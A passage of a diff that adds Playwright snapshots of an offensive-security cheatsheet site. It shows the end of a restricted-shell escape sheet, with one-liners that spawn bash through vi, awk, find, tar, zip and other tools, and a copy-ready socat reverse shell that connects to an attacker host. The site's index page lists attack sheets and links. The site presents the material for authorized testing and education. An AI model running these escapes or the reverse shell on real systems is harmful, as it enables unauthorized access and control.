+              - cell "Find" [ref=f11e2692]
+              - cell [ref=f11e2693]:
+                - code [ref=f11e2694]: find / -exec /bin/bash \; -quit
+            - row [ref=f11e2695]:
+              - cell "Expect" [ref=f11e2696]
+              - cell [ref=f11e2697]:
+                - code [ref=f11e2698]: expect -c 'spawn /bin/bash; interact'
+            - row [ref=f11e2699]:
+              - cell "sh -i" [ref=f11e2700]
+              - cell [ref=f11e2701]:
+                - code [ref=f11e2702]: /bin/sh -i
+            - row [ref=f11e2703]:
+              - cell "env" [ref=f11e2704]
+              - cell [ref=f11e2705]:
+                - code [ref=f11e2706]: env /bin/bash
+            - row [ref=f11e2707]:
+              - cell "Node.js" [ref=f11e2708]
+              - cell [ref=f11e2709]:
+                - code [ref=f11e2710]: "node -e 'require(\"child_process\").spawn(\"/bin/bash\",{stdio:[0,1,2]})'"
+        - heading "Restricted Shell Escape Quick Reference" [level=3] [ref=f11e2711]
+        - table [ref=f11e2713]:
+          - rowgroup [ref=f11e2714]:
+            - row [ref=f11e2715]:
+              - columnheader "Vector" [ref=f11e2716]
+              - columnheader "Technique" [ref=f11e2717]
+          - rowgroup [ref=f11e2718]:
+            - row [ref=f11e2719]:
+              - cell [ref=f11e2720]:
+                - strong [ref=f11e2721]: BASH_CMDS
+              - cell [ref=f11e2722]:
+                - code [ref=f11e2723]: BASH_CMDS[a]=/bin/sh;a
+                - text: then
+                - code [ref=f11e2724]: export PATH=$PATH:/bin:/usr/bin
+            - row [ref=f11e2725]:
+              - cell [ref=f11e2726]:
+                - strong [ref=f11e2727]: vi/vim
+              - cell [ref=f11e2728]:
+                - code [ref=f11e2729]: :set shell=/bin/bash
+                - text: β†’
+                - code [ref=f11e2730]: :shell
+                - text: or
+                - code [ref=f11e2731]: :!/bin/bash
+            - row [ref=f11e2732]:
+              - cell [ref=f11e2733]:
+                - strong [ref=f11e2734]: ed
+              - cell [ref=f11e2735]:
+                - code [ref=f11e2736]: "!'/bin/bash'"
+            - row [ref=f11e2737]:
+              - cell [ref=f11e2738]:
+                - strong [ref=f11e2739]: less/more/man
+              - cell [ref=f11e2740]:
+                - code [ref=f11e2741]: "!/bin/bash"
+                - text: from within the pager
+            - row [ref=f11e2742]:
+              - cell [ref=f11e2743]:
+                - strong [ref=f11e2744]: awk
+              - cell [ref=f11e2745]:
+                - code [ref=f11e2746]: "awk 'BEGIN {system(\"/bin/bash\")}'"
+            - row [ref=f11e2747]:
+              - cell [ref=f11e2748]:
+                - strong [ref=f11e2749]: find
+              - cell [ref=f11e2750]:
+                - code [ref=f11e2751]: find / -exec /bin/bash \; -quit
+            - row [ref=f11e2752]:
+              - cell [ref=f11e2753]:
+                - strong [ref=f11e2754]: python
+              - cell [ref=f11e2755]:
+                - code [ref=f11e2756]: python3 -c 'import os; os.system("/bin/bash")'
+            - row [ref=f11e2757]:
+              - cell [ref=f11e2758]:
+                - strong [ref=f11e2759]: perl
+              - cell [ref=f11e2760]:
+                - code [ref=f11e2761]: perl -e 'exec "/bin/bash";'
+            - row [ref=f11e2762]:
+              - cell [ref=f11e2763]:
+                - strong [ref=f11e2764]: ftp
+              - cell [ref=f11e2765]:
+                - code [ref=f11e2766]: "!/bin/bash"
+                - text: from the ftp prompt
+            - row [ref=f11e2767]:
+              - cell [ref=f11e2768]:
+                - strong [ref=f11e2769]: git
+              - cell [ref=f11e2770]:
+                - code [ref=f11e2771]: git help config
+                - text: β†’
+                - code [ref=f11e2772]: "!/bin/bash"
+            - row [ref=f11e2773]:
+              - cell [ref=f11e2774]:
+                - strong [ref=f11e2775]: ssh
+              - cell [ref=f11e2776]:
+                - code [ref=f11e2777]: ssh user@host -t "bash --noprofile"
+            - row [ref=f11e2778]:
+              - cell [ref=f11e2779]:
+                - strong [ref=f11e2780]: script
+              - cell [ref=f11e2781]:
+                - code [ref=f11e2782]: /usr/bin/script -qc /bin/bash /dev/null
+            - row [ref=f11e2783]:
+              - cell [ref=f11e2784]:
+                - strong [ref=f11e2785]: nano
+              - cell [ref=f11e2786]:
+                - code [ref=f11e2787]: Ctrl+R
+                - text: β†’
+                - code [ref=f11e2788]: Ctrl+X
+                - text: β†’ type command
+            - row [ref=f11e2789]:
+              - cell [ref=f11e2790]:
+                - strong [ref=f11e2791]: zip
+              - cell [ref=f11e2792]:
+                - code [ref=f11e2793]: zip /tmp/x.zip /tmp/x -T --unzip-command="sh -c /bin/bash"
+            - row [ref=f11e2794]:
+              - cell [ref=f11e2795]:
+                - strong [ref=f11e2796]: tar
+              - cell [ref=f11e2797]:
+                - code [ref=f11e2798]: tar cf /dev/null x --checkpoint=1 --checkpoint-action=exec=/bin/bash
+            - row [ref=f11e2799]:
+              - cell [ref=f11e2800]:
+                - strong [ref=f11e2801]: gdb
+              - cell [ref=f11e2802]:
+                - code [ref=f11e2803]: gdb -nx -ex '!bash' -ex quit
+            - row [ref=f11e2804]:
+              - cell [ref=f11e2805]:
+                - strong [ref=f11e2806]: env
+              - cell [ref=f11e2807]:
+                - code [ref=f11e2808]: env /bin/bash
+            - row [ref=f11e2809]:
+              - cell [ref=f11e2810]:
+                - strong [ref=f11e2811]: cp
+              - cell [ref=f11e2812]:
+                - code [ref=f11e2813]: cp /bin/bash .; ./bash
+            - row [ref=f11e2814]:
+              - cell [ref=f11e2815]:
+                - strong [ref=f11e2816]: PATH
+              - cell [ref=f11e2817]:
+                - code [ref=f11e2818]: export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
+        - heading "Socat Full TTY (Copy-Paste Ready)" [level=3] [ref=f11e2819]
+        - figure "bash Copy" [ref=f11e2820]:
+          - generic [ref=f11e2821]:
+            - generic [ref=f11e2822]: bash
+            - button "Copy" [ref=f11e2823] [cursor=pointer]
+          - code [ref=f11e2828]:
+            - generic [ref=f11e2829]: "# Attacker:"
+            - generic [ref=f11e2830]: socat file:$(tty),raw,echo=0 tcp-listen:4444
+            - generic [ref=f11e2831]: "# Target:"
+            - generic [ref=f11e2832]: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ATTACKER_IP>:4444
+        - separator [ref=f11e2833]
+        - heading "Resources" [level=2] [ref=f11e2834]
+        - list [ref=f11e2835]:
+          - listitem [ref=f11e2836]:
+            - link "GTFOBins" [ref=f11e2837] [cursor=pointer]:
+              - /url: https://gtfobins.github.io/
+            - text: β€” Unix binaries that can be exploited for shell escapes, file reads, SUID abuse, and more.
+          - listitem [ref=f11e2838]:
+            - link "ropnop β€” Upgrading Simple Shells" [ref=f11e2839] [cursor=pointer]:
+              - /url: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
+            - text: β€” The original definitive blog post on TTY upgrades.
+          - listitem [ref=f11e2840]:
+            - link "PentestMonkey β€” Post-Exploitation Without a TTY" [ref=f11e2841] [cursor=pointer]:
+              - /url: https://pentestmonkey.net/blog/post-exploitation-without-a-tty
+            - text: β€” Classic reference.
+          - listitem [ref=f11e2842]:
+            - link "Exploit-DB β€” Linux Restricted Shell Bypass Guide" [ref=f11e2843] [cursor=pointer]:
+              - /url: https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf
+            - text: β€” Comprehensive PDF.
+          - listitem [ref=f11e2844]:
+            - link "FireShell β€” Restricted Shell Escaping Techniques" [ref=f11e2845] [cursor=pointer]:
+              - /url: https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/
+            - text: β€” Deep dive with lshell examples.
+          - listitem [ref=f11e2846]:
+            - link "HackTricks β€” Full TTYs" [ref=f11e2847] [cursor=pointer]:
+              - /url: https://book.hacktricks.xyz/generic-methodologies-and-resources/reverse-shells/full-ttys
+            - text: β€” Always up-to-date reference.
+          - listitem [ref=f11e2848]:
+            - link "pwncat-cs" [ref=f11e2849] [cursor=pointer]:
+              - /url: https://github.com/calebstewart/pwncat
+            - text: β€” Automated shell upgrade + post-exploitation framework.
+          - listitem [ref=f11e2850]:
+            - link "ConPtyShell" [ref=f11e2851] [cursor=pointer]:
+              - /url: https://github.com/antonioCoco/ConPtyShell
+            - text: β€” Fully interactive Windows reverse shell.
+          - listitem [ref=f11e2852]:
+            - link "Static Binaries (socat, etc.)" [ref=f11e2853] [cursor=pointer]:
+              - /url: https://github.com/andrew-d/static-binaries
+            - text: β€” Pre-compiled static binaries for targets without package managers.
+        - separator [ref=f11e2854]
+        - paragraph [ref=f11e2855]:
+          - emphasis [ref=f11e2856]: "Last updated: 2025"
+      - navigation "Pagination" [ref=f11e2857]:
+        - link [ref=f11e2858] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/exploitation/buffer-overflow
+          - text: ← Prev
+          - strong [ref=f11e2859]: Stack-Based Buffer Overflow (Win x86)
+  - contentinfo [ref=f11e2861]:
+    - generic [ref=f11e2862]:
+      - generic [ref=f11e2863]:
+        - link "DÆMON // SEC" [ref=f11e2864] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f11e2865]: //
+          - text: SEC
+        - paragraph [ref=f11e2866]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f11e2867]:
+        - link "daemon-404.github.io β†—" [ref=f11e2868] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f11e2869] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+        - generic [ref=f11e2870]:
+          - text: Payloads mirrored from
+          - link "PayloadsAllTheThings" [ref=f11e2871] [cursor=pointer]:
+            - /url: https://github.com/swisskyrepo/PayloadsAllTheThings
+          - text: (MIT) Β·
+          - link "credits" [ref=f11e2872] [cursor=pointer]:
+            - /url: /daemon-sec-cheatsheet/credits
+        - generic [ref=f11e2873]: © 2026 DÆMON//SEC · MIT
+        - generic [ref=f11e2874]: RosΓ© Pine Β· Astro Β· Pagefind
+  - generic [ref=f11e2875]: TTY and Escaping Restricted Env — DÆMON//SEC
+\ No newline at end of file
diff --git a/.playwright-mcp/page-2026-08-10T08-27-11-323Z.yml b/.playwright-mcp/page-2026-08-10T08-27-11-323Z.yml
@@ -0,0 +1,418 @@
+- generic [active] [ref=f12e1]:
+  - banner [ref=f12e2]:
+    - generic [ref=f12e3]:
+      - link "DÆMON//SEC home" [ref=f12e4] [cursor=pointer]:
+        - /url: /daemon-sec-cheatsheet/
+        - text: DÆMON
+        - generic [ref=f12e5]: //
+        - text: SEC
+        - generic [ref=f12e6]: _
+      - navigation "Primary" [ref=f12e7]:
+        - link "01 Vault" [ref=f12e8] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - generic [ref=f12e9]: "01"
+          - generic [ref=f12e10]: Vault
+        - link "02 Payloads" [ref=f12e11] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/payloads
+          - generic [ref=f12e12]: "02"
+          - generic [ref=f12e13]: Payloads
+        - link "03 Tags" [ref=f12e14] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+          - generic [ref=f12e15]: "03"
+          - generic [ref=f12e16]: Tags
+        - link "04 Credits" [ref=f12e17] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/credits
+          - generic [ref=f12e18]: "04"
+          - generic [ref=f12e19]: Credits
+      - generic [ref=f12e20]:
+        - button "Search cheatsheets" [ref=f12e21] [cursor=pointer]:
+          - generic [ref=f12e24]: Search
+          - generic [ref=f12e25]: /
+        - button "Toggle theme" [ref=f12e26] [cursor=pointer]
+        - link "DÆMON main site" [ref=f12e31] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "GitHub repository" [ref=f12e34] [cursor=pointer]:
+          - /url: https://github.com/DAEMON-404/daemon-sec-cheatsheet
+  - main [ref=f12e37]:
+    - generic [ref=f12e39]:
+      - generic [ref=f12e40]:
+        - heading "D Γ† M O N" [level=1] [ref=f12e42]:
+          - generic [ref=f12e43]: D
+          - generic [ref=f12e44]: Γ†
+          - generic [ref=f12e45]: M
+          - generic [ref=f12e46]: O
+          - generic [ref=f12e47]: "N"
+        - paragraph [ref=f12e49]:
+          - generic [ref=f12e50]: The cheatsheet vault
+      - generic [ref=f12e52]:
+        - generic [ref=f12e53]:
+          - generic [ref=f12e54]: Vault / 2026
+          - heading "Zero fluff. Copy-ready." [level=2] [ref=f12e55]
+          - paragraph [ref=f12e56]: 214 hand-picked cheatsheets across 12 domains β€” Active Directory, enumeration, exploitation, priv-esc, web, DFIR β€” stripped of vault-specific syntax and refreshed for current tool flags. Plus the full PayloadsAllTheThings mirror, searchable offline.
+          - generic [ref=f12e57]:
+            - button "Search the vault" [ref=f12e58] [cursor=pointer]
+            - link "Payloads" [ref=f12e62] [cursor=pointer]:
+              - /url: /daemon-sec-cheatsheet/payloads
+        - generic [ref=f12e66]:
+          - generic [ref=f12e67]:
+            - generic [ref=f12e68]:
+              - generic [ref=f12e69]: daemon@sec
+              - generic [ref=f12e70]: ~
+              - generic [ref=f12e71]: "%"
+              - generic [ref=f12e72]: whoami --vault
+            - generic [ref=f12e74]:
+              - term [ref=f12e75]: scope
+              - definition [ref=f12e76]: Offensive security Β· red team Β· DFIR
+              - term [ref=f12e77]: format
+              - definition [ref=f12e78]: Copy-ready commands, current tool flags
+              - term [ref=f12e79]: search
+              - definition [ref=f12e80]: Pagefind Β· offline Β· zero tracking
+              - term [ref=f12e81]: license
+              - definition [ref=f12e82]: MIT Β· payloads mirrored from swisskyrepo
+          - generic [ref=f12e83]:
+            - generic [ref=f12e84]:
+              - term [ref=f12e85]: Curated cheatsheets
+              - definition [ref=f12e86]:
+                - text: "03"
+                - generic [ref=f12e87]: Curatedcheatsheets
+            - generic [ref=f12e88]:
+              - term [ref=f12e89]: Operator domains
+              - definition [ref=f12e90]:
+                - text: "00"
+                - generic [ref=f12e91]: Operatordomains
+            - generic [ref=f12e92]:
+              - term [ref=f12e93]: Mirrored payload pages
+              - definition [ref=f12e94]:
+                - text: "02"
+                - generic [ref=f12e95]: Mirroredpayload pages
+    - region "Domains" [ref=f12e96]:
+      - generic [ref=f12e97]: "^: Index"
+      - generic [ref=f12e101]:
+        - generic [ref=f12e102]:
+          - generic [ref=f12e103]:
+            - generic [ref=f12e104]: "01"
+            - generic [ref=f12e105]: AD
+            - generic [ref=f12e109]: Active Directory
+            - generic [ref=f12e110]: 130 sheets
+          - generic [ref=f12e111]:
+            - generic [ref=f12e112]: "02"
+            - generic [ref=f12e113]: ENUM
+            - generic [ref=f12e117]: Enumeration
+            - generic [ref=f12e118]: 18 sheets
+          - generic [ref=f12e119]:
+            - generic [ref=f12e120]: "03"
+            - generic [ref=f12e121]: PWN
+            - generic [ref=f12e125]: Exploitation
+            - generic [ref=f12e126]: 7 sheets
+          - generic [ref=f12e127]:
+            - generic [ref=f12e128]: "04"
+            - generic [ref=f12e129]: PRIV
+            - generic [ref=f12e133]: Privilege Escalation
+            - generic [ref=f12e134]: 2 sheets
+          - generic [ref=f12e135]:
+            - generic [ref=f12e136]: "05"
+            - generic [ref=f12e137]: CRED
+            - generic [ref=f12e141]: Password Attacks
+            - generic [ref=f12e142]: 3 sheets
+          - generic [ref=f12e143]:
+            - generic [ref=f12e144]: "06"
+            - generic [ref=f12e145]: WEB
+            - generic [ref=f12e149]: Web
+            - generic [ref=f12e150]: 9 sheets
+          - generic [ref=f12e151]:
+            - generic [ref=f12e152]: "07"
+            - generic [ref=f12e153]: PIVOT
+            - generic [ref=f12e157]: Tunneling & Pivoting
+            - generic [ref=f12e158]: 6 sheets
+          - generic [ref=f12e159]:
+            - generic [ref=f12e160]: "08"
+            - generic [ref=f12e161]: CRYPTO
+            - generic [ref=f12e165]: Cryptography
+            - generic [ref=f12e166]: 3 sheets
+          - generic [ref=f12e167]:
+            - generic [ref=f12e168]: "09"
+            - generic [ref=f12e169]: DFIR
+            - generic [ref=f12e173]: DFIR
+            - generic [ref=f12e174]: 4 sheets
+          - generic [ref=f12e175]:
+            - generic [ref=f12e176]: "10"
+            - generic [ref=f12e177]: TOOL
+            - generic [ref=f12e181]: Tools
+            - generic [ref=f12e182]: 18 sheets
+          - generic [ref=f12e183]:
+            - generic [ref=f12e184]: "11"
+            - generic [ref=f12e185]: NIX
+            - generic [ref=f12e189]: Linux & IT
+            - generic [ref=f12e190]: 9 sheets
+          - generic [ref=f12e191]:
+            - generic [ref=f12e192]: "12"
+            - generic [ref=f12e193]: GIT
+            - generic [ref=f12e197]: Git & Workflow
+            - generic [ref=f12e198]: 5 sheets
+        - generic [ref=f12e199]:
+          - generic [ref=f12e200]:
+            - generic [ref=f12e201]: "01"
+            - generic [ref=f12e202]: AD
+            - generic [ref=f12e206]: Active Directory
+            - generic [ref=f12e207]: 130 sheets
+          - generic [ref=f12e208]:
+            - generic [ref=f12e209]: "02"
+            - generic [ref=f12e210]: ENUM
+            - generic [ref=f12e214]: Enumeration
+            - generic [ref=f12e215]: 18 sheets
+          - generic [ref=f12e216]:
+            - generic [ref=f12e217]: "03"
+            - generic [ref=f12e218]: PWN
+            - generic [ref=f12e222]: Exploitation
+            - generic [ref=f12e223]: 7 sheets
+          - generic [ref=f12e224]:
+            - generic [ref=f12e225]: "04"
+            - generic [ref=f12e226]: PRIV
+            - generic [ref=f12e230]: Privilege Escalation
+            - generic [ref=f12e231]: 2 sheets
+          - generic [ref=f12e232]:
+            - generic [ref=f12e233]: "05"
+            - generic [ref=f12e234]: CRED
+            - generic [ref=f12e238]: Password Attacks
+            - generic [ref=f12e239]: 3 sheets
+          - generic [ref=f12e240]:
+            - generic [ref=f12e241]: "06"
+            - generic [ref=f12e242]: WEB
+            - generic [ref=f12e246]: Web
+            - generic [ref=f12e247]: 9 sheets
+          - generic [ref=f12e248]:
+            - generic [ref=f12e249]: "07"
+            - generic [ref=f12e250]: PIVOT
+            - generic [ref=f12e254]: Tunneling & Pivoting
+            - generic [ref=f12e255]: 6 sheets
+          - generic [ref=f12e256]:
+            - generic [ref=f12e257]: "08"
+            - generic [ref=f12e258]: CRYPTO
+            - generic [ref=f12e262]: Cryptography
+            - generic [ref=f12e263]: 3 sheets
+          - generic [ref=f12e264]:
+            - generic [ref=f12e265]: "09"
+            - generic [ref=f12e266]: DFIR
+            - generic [ref=f12e270]: DFIR
+            - generic [ref=f12e271]: 4 sheets
+          - generic [ref=f12e272]:
+            - generic [ref=f12e273]: "10"
+            - generic [ref=f12e274]: TOOL
+            - generic [ref=f12e278]: Tools
+            - generic [ref=f12e279]: 18 sheets
+          - generic [ref=f12e280]:
+            - generic [ref=f12e281]: "11"
+            - generic [ref=f12e282]: NIX
+            - generic [ref=f12e286]: Linux & IT
+            - generic [ref=f12e287]: 9 sheets
+          - generic [ref=f12e288]:
+            - generic [ref=f12e289]: "12"
+            - generic [ref=f12e290]: GIT
+            - generic [ref=f12e294]: Git & Workflow
+            - generic [ref=f12e295]: 5 sheets
+      - generic [ref=f12e296]: 12 domains
+    - generic [ref=f12e298]:
+      - generic [ref=f12e300]:
+        - paragraph [ref=f12e301]:
+          - generic [ref=f12e302]: "01"
+          - generic [ref=f12e303]: "^:"
+          - generic [ref=f12e304]: 12 domains
+        - heading "Pick your vector" [level=2] [ref=f12e306]
+      - generic [ref=f12e307]:
+        - link "AD 01 Active Directory Kerberos, ADCS, delegation, and domain takeover paths. 130 sheets" [ref=f12e308] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/active-directory
+          - generic [ref=f12e309]:
+            - generic [ref=f12e310]: AD
+            - generic [ref=f12e311]: "01"
+          - heading "Active Directory" [level=3] [ref=f12e312]
+          - paragraph [ref=f12e313]: Kerberos, ADCS, delegation, and domain takeover paths.
+          - generic [ref=f12e314]: 130 sheets
+        - link "ENUM 02 Enumeration Port, service, web, and host discovery β€” mapping the attack surface. 18 sheets" [ref=f12e317] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/enumeration
+          - generic [ref=f12e318]:
+            - generic [ref=f12e319]: ENUM
+            - generic [ref=f12e320]: "02"
+          - heading "Enumeration" [level=3] [ref=f12e321]
+          - paragraph [ref=f12e322]: Port, service, web, and host discovery β€” mapping the attack surface.
+          - generic [ref=f12e323]: 18 sheets
+        - 'link "PWN 03 Exploitation Gaining a foothold: injection, upload, and shell delivery. 7 sheets" [ref=f12e326] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/exploitation
+          - generic [ref=f12e327]:
+            - generic [ref=f12e328]: PWN
+            - generic [ref=f12e329]: "03"
+          - heading "Exploitation" [level=3] [ref=f12e330]
+          - paragraph [ref=f12e331]: "Gaining a foothold: injection, upload, and shell delivery."
+          - generic [ref=f12e332]: 7 sheets
+        - link "PRIV 04 Privilege Escalation From user to root/SYSTEM on Linux and Windows. 2 sheets" [ref=f12e335] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/privilege-escalation
+          - generic [ref=f12e336]:
+            - generic [ref=f12e337]: PRIV
+            - generic [ref=f12e338]: "04"
+          - heading "Privilege Escalation" [level=3] [ref=f12e339]
+          - paragraph [ref=f12e340]: From user to root/SYSTEM on Linux and Windows.
+          - generic [ref=f12e341]: 2 sheets
+        - link "CRED 05 Password Attacks Cracking, spraying, and credential recovery. 3 sheets" [ref=f12e344] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/password-attacks
+          - generic [ref=f12e345]:
+            - generic [ref=f12e346]: CRED
+            - generic [ref=f12e347]: "05"
+          - heading "Password Attacks" [level=3] [ref=f12e348]
+          - paragraph [ref=f12e349]: Cracking, spraying, and credential recovery.
+          - generic [ref=f12e350]: 3 sheets
+        - link "WEB 06 Web XSS, injection, and web application testing. 9 sheets" [ref=f12e353] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/web
+          - generic [ref=f12e354]:
+            - generic [ref=f12e355]: WEB
+            - generic [ref=f12e356]: "06"
+          - heading "Web" [level=3] [ref=f12e357]
+          - paragraph [ref=f12e358]: XSS, injection, and web application testing.
+          - generic [ref=f12e359]: 9 sheets
+        - link "PIVOT 07 Tunneling & Pivoting Moving through segmented networks and double pivots. 6 sheets" [ref=f12e362] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tunneling-pivoting
+          - generic [ref=f12e363]:
+            - generic [ref=f12e364]: PIVOT
+            - generic [ref=f12e365]: "07"
+          - heading "Tunneling & Pivoting" [level=3] [ref=f12e366]
+          - paragraph [ref=f12e367]: Moving through segmented networks and double pivots.
+          - generic [ref=f12e368]: 6 sheets
+        - link "CRYPTO 08 Cryptography Hashing, encryption, GPG, and key handling. 3 sheets" [ref=f12e371] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/cryptography
+          - generic [ref=f12e372]:
+            - generic [ref=f12e373]: CRYPTO
+            - generic [ref=f12e374]: "08"
+          - heading "Cryptography" [level=3] [ref=f12e375]
+          - paragraph [ref=f12e376]: Hashing, encryption, GPG, and key handling.
+          - generic [ref=f12e377]: 3 sheets
+        - link "DFIR 09 DFIR Forensics, memory, and registry analysis. 4 sheets" [ref=f12e380] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/dfir
+          - generic [ref=f12e381]:
+            - generic [ref=f12e382]: DFIR
+            - generic [ref=f12e383]: "09"
+          - heading "DFIR" [level=3] [ref=f12e384]
+          - paragraph [ref=f12e385]: Forensics, memory, and registry analysis.
+          - generic [ref=f12e386]: 4 sheets
+        - link "TOOL 10 Tools General-purpose offensive tooling and multiplexers. 18 sheets" [ref=f12e389] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tools
+          - generic [ref=f12e390]:
+            - generic [ref=f12e391]: TOOL
+            - generic [ref=f12e392]: "10"
+          - heading "Tools" [level=3] [ref=f12e393]
+          - paragraph [ref=f12e394]: General-purpose offensive tooling and multiplexers.
+          - generic [ref=f12e395]: 18 sheets
+        - link "NIX 11 Linux & IT Shell, filesystem, and everyday IT fundamentals. 9 sheets" [ref=f12e398] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/linux-it
+          - generic [ref=f12e399]:
+            - generic [ref=f12e400]: NIX
+            - generic [ref=f12e401]: "11"
+          - heading "Linux & IT" [level=3] [ref=f12e402]
+          - paragraph [ref=f12e403]: Shell, filesystem, and everyday IT fundamentals.
+          - generic [ref=f12e404]: 9 sheets
+        - link "GIT 12 Git & Workflow Version control and operator workflow. 5 sheets" [ref=f12e407] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/git-workflow
+          - generic [ref=f12e408]:
+            - generic [ref=f12e409]: GIT
+            - generic [ref=f12e410]: "12"
+          - heading "Git & Workflow" [level=3] [ref=f12e411]
+          - paragraph [ref=f12e412]: Version control and operator workflow.
+          - generic [ref=f12e413]: 5 sheets
+    - link [ref=f12e416] [cursor=pointer]:
+      - /url: /daemon-sec-cheatsheet/payloads
+      - generic [ref=f12e417]:
+        - generic [ref=f12e418]:
+          - paragraph [ref=f12e419]: "02 ^: Full mirror Β· MIT"
+          - heading "PayloadsAllTheThings" [level=2] [ref=f12e420]
+          - paragraph [ref=f12e421]:
+            - text: The complete 64-topic, 135-page payload and bypass reference by
+            - strong [ref=f12e422]: swisskyrepo
+            - text: β€” mirrored on-site, fully searchable, every page linked back to source.
+        - generic [ref=f12e423]: Browse payloads
+    - generic [ref=f12e427]:
+      - generic [ref=f12e428]:
+        - generic [ref=f12e429]:
+          - paragraph [ref=f12e430]:
+            - generic [ref=f12e431]: "03"
+            - generic [ref=f12e432]: "^:"
+            - generic [ref=f12e433]: Freshly modernized
+          - heading "Recently updated" [level=2] [ref=f12e434]
+        - link "All tags" [ref=f12e435] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/tags
+      - generic [ref=f12e438]:
+        - link "01 ENUM 2.4 - Cheatsheet - Gitleaks 2026-08-10" [ref=f12e439] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-4-cheatsheet-gitleaks
+          - generic [ref=f12e440]:
+            - generic [ref=f12e441]: "01"
+            - generic [ref=f12e442]: ENUM
+            - generic [ref=f12e446]: 2.4 - Cheatsheet - Gitleaks
+            - generic [ref=f12e447]: 2026-08-10
+        - link "02 ENUM 2.5 - Cheatsheet - TruffleHog 2026-08-10" [ref=f12e451] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/2-5-cheatsheet-trufflehog
+          - generic [ref=f12e452]:
+            - generic [ref=f12e453]: "02"
+            - generic [ref=f12e454]: ENUM
+            - generic [ref=f12e458]: 2.5 - Cheatsheet - TruffleHog
+            - generic [ref=f12e459]: 2026-08-10
+        - link "03 AD Active-Directory_cheat_sheet 2026-08-10" [ref=f12e463] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/active-directory-cheat-sheet
+          - generic [ref=f12e464]:
+            - generic [ref=f12e465]: "03"
+            - generic [ref=f12e466]: AD
+            - generic [ref=f12e470]: Active-Directory_cheat_sheet
+            - generic [ref=f12e471]: 2026-08-10
+        - link "04 ENUM Anonymous Null Testing 2026-08-10" [ref=f12e475] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/sheets/enumeration/anonymous-null-testing
+          - generic [ref=f12e476]:
+            - generic [ref=f12e477]: "04"
+            - generic [ref=f12e478]: ENUM
+            - generic [ref=f12e482]: Anonymous Null Testing
+            - generic [ref=f12e483]: 2026-08-10
+        - 'link "05 AD Attack #1 β€” Password Spraying 2026-08-10" [ref=f12e487] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-1-password-spraying
+          - generic [ref=f12e488]:
+            - generic [ref=f12e489]: "05"
+            - generic [ref=f12e490]: AD
+            - generic [ref=f12e494]: "Attack #1 β€” Password Spraying"
+            - generic [ref=f12e495]: 2026-08-10
+        - 'link "06 AD Attack #10 β€” Credential Hunting in Shares GPP Passwords 2026-08-10" [ref=f12e499] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-10-credential-hunting-in-shares-gpp-passwords
+          - generic [ref=f12e500]:
+            - generic [ref=f12e501]: "06"
+            - generic [ref=f12e502]: AD
+            - generic [ref=f12e506]: "Attack #10 β€” Credential Hunting in Shares GPP Passwords"
+            - generic [ref=f12e507]: 2026-08-10
+        - 'link "07 AD Attack #11 β€” Golden Ticket Attack 2026-08-10" [ref=f12e511] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-11-golden-ticket-attack
+          - generic [ref=f12e512]:
+            - generic [ref=f12e513]: "07"
+            - generic [ref=f12e514]: AD
+            - generic [ref=f12e518]: "Attack #11 β€” Golden Ticket Attack"
+            - generic [ref=f12e519]: 2026-08-10
+        - 'link "08 AD Attack #12 β€” Silver Ticket Attack 2026-08-10" [ref=f12e523] [cursor=pointer]':
+          - /url: /daemon-sec-cheatsheet/sheets/active-directory/attack-12-silver-ticket-attack
+          - generic [ref=f12e524]:
+            - generic [ref=f12e525]: "08"
+            - generic [ref=f12e526]: AD
+            - generic [ref=f12e530]: "Attack #12 β€” Silver Ticket Attack"
+            - generic [ref=f12e531]: 2026-08-10
+  - contentinfo [ref=f12e535]:
+    - generic [ref=f12e536]:
+      - generic [ref=f12e537]:
+        - link "DÆMON // SEC" [ref=f12e538] [cursor=pointer]:
+          - /url: /daemon-sec-cheatsheet/
+          - text: DÆMON
+          - generic [ref=f12e539]: //
+          - text: SEC
+        - paragraph [ref=f12e540]: A curated vault of IT & security cheatsheets. For authorized testing, CTFs, and education only. Know your scope; get permission first.
+      - generic [ref=f12e541]:
+        - link "daemon-404.github.io β†—" [ref=f12e542] [cursor=pointer]:
+          - /url: https://daemon-404.github.io
+        - link "github / daemon-sec-cheatsheet β†—" [ref=f12e543] [cursor=pointer]:
